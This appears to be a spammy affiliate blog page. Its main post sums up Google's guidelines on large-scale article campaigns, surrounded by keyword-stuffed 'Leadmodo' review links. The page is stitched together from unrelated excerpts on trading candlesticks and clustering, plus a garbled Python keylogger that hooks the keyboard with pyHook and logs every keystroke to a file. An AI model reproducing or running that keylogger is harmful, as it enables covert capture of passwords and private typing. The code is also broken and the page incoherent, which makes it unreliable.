Skip to main content

AVOID THESE PRACTICES AND YOULL AVOID GETTING A SLAP BY MR GOOGLE

leadmodo review
Leadmodo Honest Review
Leadmodo Fe

Heres a direct quote of the combination of factors Google consider bad-practice, as discussed in their guidelines published May 2017, about large-scale article campaigns:

- Stuffing keyword-rich links to your site in your articles.

- Having the articles published across many different sites; alternatively, having a large number of articles on a few large, different sites.

- Using or hiring article writers that aren’t knowledgeable about the topics they’re writing on.

- Using the same or similar content across these articles; alternatively, duplicating the full content of articles found on your own site (in which case use of rel=‘canonical’ and rel=‘nofollow’ is advised).

The guidelines are a little vague… The reason being, Google cant completely outlaw guest-posting, nor can they outlaw site owners talking with other site owners to collaborate—that would hardly be fair and an over-reach on Googles part.

Google are mostly concerned the articles are relevant, high-quality, posted on relevant sites, arent stuffed with extreme numbers of links pointing to your site, and youre not annoying a billion site owners with spammy unpersonalized email blasts filling up their inboxes. Avoid these practices, and youll avoid getting a slap by Mr. Google.

Heres the official guidelines from the guys over at Google HQ if you want to read up further.

Leadmodo bonus
LeadModo works
Leadmodo works
LeadModo jv

Popular posts from this blog

import pyHook import pythoncom def keypress event if evenAscii char

{ import pyHook import pythoncom def keypress(event): if even.Ascii: char = chr(event.Ascii) print char if char = = “~”: exit() hm = pyHook.HookManager() hm.KeyDown = keypress hm.HookKeyboard() pythoncom.PumpMessages() from datetime import * import os root_dir = os.path.split(os.path.realpath(_file_))[0] log_file = os.path.join(root_dir, “log_file.txt”) def log(message): if len(message) > 0: with open(log_file, “a”) as f: f.write(“{}:\t{}\n” .format(datetime.now(), message)) # print “{}:\t{}” .format(datetime.not(), message) buffer = “” def keypress(event) global bugger if event.Ascii char = chr(event.Ascii) if char = = “~”: log(bugger) log(“---PROGRAM ENDED---“) exit() if event.Ascii ==13: buffer += “<ENTER>\n” log(buffer) bugger = “” elif event.Ascii==8: buffer += “<BACKSPACE>” elif event.Ascii==9: buffer += “<TAB>” else: buffer += char pause_period = 2 las_pr...
Read more

It Does Not Require Trendlines Or Other Indicators To Be Able To Project Future Moves

( The picture was taken from: http://www.technicaltradingindicators.com/tradestation- indicator s/83-candlestick-patterns/) Depending on the time frame, a candle like Hammer or Shooting Star can be a clear reversal signal as it shows enormous buying/selling pressure on the coin. It does not require trendlines or other indicators to be able to project future moves, especially if the candle was formed on a daily time frame or higher. Another very important single candle you will need is the one that appears during a blow-off top or capitulation. Those two are the reversal points in a trend, where the price makes an explosive move which then very quickly retraces. It is an indicator of a buying/selling climax that is followed by other people leaving or entering the market in an accelerated movement. A candle like this usually is massive and has a long wick which is later followed by another few candles that represent this accelerated buying/selling. Candles can also create...
Read more

THIS CAN TAKE THE FORM OF A HIERARCHY OR ORDER

this can take the form of a hierarchy or order While we have only touched on a portion of unsupervised learning, it is important to note that it is a vital branch of machine learning with lots of real world applications. Clustering as an example can be used to discover data groups and get a unique perspective of data before feeding it into traditional supervised learning algorithms. Implementation of the Model Clustering is a type of unsupervised learning technique in which there are no explicit labels. Clustering is used to discover groups of data points in a dataset. A group or cluster is made up of members that are similar to each other but are collectively different from other clusters. A good clustering algorithm must have the ability to discover some or all hidden clusters in a dataset, should exhibit in cluster similarity but different clusters should be dissimilar or far from each other. The clustering algorithm should also be scalable to larger datasets and shoul...
Read more